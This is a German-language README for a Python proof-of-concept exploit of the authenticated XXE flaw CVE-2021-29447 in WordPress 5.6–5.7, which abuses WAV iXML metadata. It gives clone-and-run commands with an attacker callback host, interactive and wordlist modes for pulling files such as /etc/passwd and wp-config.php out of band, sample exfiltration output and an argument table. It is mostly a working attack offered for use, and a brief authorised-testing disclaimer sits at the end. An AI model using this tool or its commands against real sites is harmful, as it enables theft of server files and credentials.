
POC zur Ausnutzung einer authentifizierten XXE-Injection in WordPress 5.6-5.7 (PHP 8+).
Ein Python-PoC zur Ausnutzung der authentifizierten XXE-Schwachstelle (CVE-2021-29447) in WordPress-Versionen 5.6–5.7 über WAV-Metadaten. Es missbraucht den iXML-Chunk in WAV-Dateien, um eine Out-of-Band (OOB)-Exfiltration sensibler Daten – wie /etc/passwd, wp-config.php und mehr – direkt in Ihr dump/-Verzeichnis auszulösen.
Dieses Skript nutzt eine Schwachstelle durch XML External Entities (XXE) in der Art, wie WordPress WAV-Metadaten parst:
/etc/passwd) zu lesen und in Base64 zu kodieren.dump/.-i): Fragt so lange nach Dateipfaden, bis CTRL+C gedrückt wird – ideal für Ad-hoc-Erkundungen.-w <datei>): Stapelverarbeitung dutzender Dateipfade aus einer Liste.--no-http): Nutzen Sie Ihren eigenen Webserver anstelle des integrierten.--debug): Zeigt detaillierte HTTP- und interne Debug-Logs.[CONFIG], [UPLOAD], [DUMP], [WARN], [ERROR] – für schnelle Statusprüfungen.git clone https://github.com/Tea-On/CVE-2021-29447-Authenticated-XXE-WordPress-5.6-5.7.git
cd CVE-2021-29447-Authenticated-XXE-WordPress-5.6-5.7
pip3 install requests
python3 exploit_CVE-2021-29447.py \
-H 10.10.14.8 -p 8080 \
-u admin -P p@ssw0rd \
-d http://vulnerable.local -i
[CONFIG] Interactive mode (CTRL+C to exit)
File> /etc/passwd
[CONFIG] DTD written: dtd/L2V0Yy9wYXNzd2Q=.dtd
[CONFIG] WAV built
[INFO] Nonce: d87f00a552
[DUMP] Dumped: dump/passwd
[UPLOAD] Upload ok (200)
[UPLOAD] URL: http://vulnerable.local/wp-content/uploads/payload.wav
File>
python3 exploit_CVE-2021-29447.py \
-H 10.10.14.8 -p 8080 \
-u admin -P p@ssw0rd \
-d http://vulnerable.local -w wordlist.txt
[CONFIG] Loaded 4 paths from "wordlist.txt"
[CONFIG] Using HTTP server at 10.10.14.8:8080
[CONFIG] Starting batch exfiltration...
[DUMP] [/etc/passwd] → dump/passwd
[WARN] No exfil for /etc/hostname within 6s, continuing
[UPLOAD] Upload ok (200)
[ERROR] Upload fail (502) on "/nonexistent"
python3 exploit_CVE-2021-29447.py \
-H 10.10.14.8 -p 8080 \
-u admin -P p@ssw0rd \
-d http://vulnerable.local --no-http --debug -w wordlist.txt
Verwenden Sie Ihren eigenen HTTP-Server, um
dtd/zu hosten und Callbacks zu erfassen. Debug-Logs erscheinen als[DEBUG].
dtd/ – Generierte DTD-Dateien, die dem Ziel bereitgestellt werden.dump/ – Dekodierte Dateiinhalte, benannt nach dem ursprünglichen Pfad.EXFIL_TIMEOUT (Standard 6s) für langsame Netzwerke.--debug, um Probleme mit Authentifizierung, Upload oder Callbacks zu diagnostizieren.Verwenden Sie dieses Tool nur auf Systemen, die Ihnen gehören oder für die Sie eine ausdrückliche Erlaubnis zum Testen haben.
Lizenziert unter der MIT-Lizenz. Beiträge willkommen – lasst uns Hacking ethisch und unterhaltsam halten! ✨
| Argument | Erforderlich | Beschreibung |
|---|
-H, --host | ✅ | Lokaler Host/IP zum Bereitstellen der DTD und Empfangen von Callbacks |
-p, --port | ✅ | Lokaler Port für den HTTP-Server |
-u, --user | ✅ | WordPress-Benutzername mit Upload-Berechtigungen |
-P, --pass | ✅ | WordPress-Passwort |
-d, --domain | ✅ | Ziel-WordPress-URL (inklusive http://) |
-w, --wordlist | ❌ | Datei mit durch Zeilenumbrüche getrennten Pfaden, die abgerufen werden sollen |
-i, --interactive | ❌ | Interaktiv nach Dateipfaden fragen |
--no-http | ❌ | Das Starten des integrierten HTTP-Servers überspringen |
--debug | ❌ | Debug-Logs aktivieren (ausführliche HTTP- und interne Details) |